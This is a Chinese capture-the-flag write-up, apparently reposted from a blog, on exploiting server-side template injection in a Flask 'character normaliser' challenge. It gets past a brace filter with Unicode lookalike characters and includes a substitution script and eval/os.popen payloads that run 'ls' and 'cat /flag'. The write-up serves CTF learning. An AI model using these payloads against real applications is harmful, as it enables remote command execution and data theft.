新版攻防世界easy_web-web进阶ssti绕过(太湖杯)

XCTF进阶 - easy_web (太湖杯)


打开网页,发现是一个字符规范器,首先有输入框,尝试注入


尝试后发现没有任何反应,此时没有其他思路了,抓包看看回显。

抓包发现竟然是python,此时想到为flask ssti模板注入,首先测试


发现{}被限制了,本网页的功能是字符规范,我们可以找一些相近的字符,让他规范成{}.

如图,我们找到了不一样的{},

可以发现,︷︸已经被格式化,我们测试下是否有ssti注入漏洞

输入︷︷2*2︸︸可以看到2*2被计算出来了,所以存在ssti,直接输入payload即可:
非常好用的ssti模板注入payload
{ {a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}
此时有两种绕过方法

传参实现绕过

运用request.args实现绕过

特殊字符绕过

直接上脚本
ssti特殊字符绕过脚本

"""
{ -> ︷/﹛
} -> ︸/﹜
' -> '
, -> ,
" -> "
"""
//此时的str即你要输入的payload
str = '''{
    
    {a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}''' # 原字符串
# 如果需要替换replace(被替换的字符,替换后的字符)
str = str.replace('{', '︷')
str = str.replace('}', '︸')
str = str.replace('\'', ''')
str = str.replace('\"', '"')

print(str)

paylaod替换后为
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")︸︸

查找flag

paylaod
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls /').read()")︸︸

在根目录下发现flag
paylaod替换后为
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")︸︸

猜你喜欢

转载自blog.csdn.net/yuanxu8877/article/details/128101173